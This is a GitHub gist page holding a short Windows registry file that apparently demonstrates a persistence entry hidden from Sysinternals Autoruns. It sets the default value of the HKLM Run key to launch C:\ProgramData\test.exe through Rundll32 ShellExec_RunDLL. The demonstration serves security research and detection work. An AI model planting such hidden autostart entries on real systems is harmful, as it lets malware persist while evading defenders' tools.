Skip to content

Instantly share code, notes, and snippets.

@jbarcia
Forked from hasherezade/test.reg
Created April 7, 2017 02:28
Show Gist options
  • Select an option

  • Save jbarcia/855419f74aee818ee79ac60e4a73e66b to your computer and use it in GitHub Desktop.

Select an option

Save jbarcia/855419f74aee818ee79ac60e4a73e66b to your computer and use it in GitHub Desktop.
Demo: persistence key not visible for sysinternals autoruns
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
@="Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\ProgramData\\test.exe\""
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment